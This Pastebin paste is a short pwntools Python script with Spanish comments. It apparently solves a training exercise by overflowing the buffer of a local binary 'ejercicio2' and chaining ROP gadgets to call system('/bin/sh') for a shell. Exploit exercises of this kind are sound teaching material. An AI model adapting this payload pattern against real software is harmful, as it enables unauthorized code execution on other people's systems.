Advertisement
Templario_7777

Ex_2

May 6th, 2022 (edited)
949
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.67 KB | None | 0 0
  1. #/usr/bin/python3
  2. from pwn import *
  3.  
  4. fileName = "./ejercicio2"
  5. e = ELF(fileName) #Checksec ejercicio2
  6.  
  7. p = process(fileName)
  8.  
  9. ret = 0x40101a
  10. poprdi = 0x401343
  11. binsh = 0x404058
  12. system=0x4010a0
  13. win = 0x4011d6
  14.  
  15. payload = b'12341234' # Ingreso ping valido para que no se caiga el binario
  16. payload += b'A' * 32 # igual a \x41
  17. #payload += b'B' * 8 #igual a \x42
  18. payload += p64(ret)
  19. payload += p64(poprdi)
  20. payload += p64(binsh)
  21. payload += p64(system)
  22. #payload += p64(e.sym.win)
  23. #print(hex(e.sym.win))
  24. #payload += b'C' * 128 #igual a \x42
  25.  
  26. print (payload)
  27.  
  28. print(p.recvuntil(b"almacenar"))
  29. p.sendline(payload)
  30. print(p.recvuntil(b"preferirnos"))
  31. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement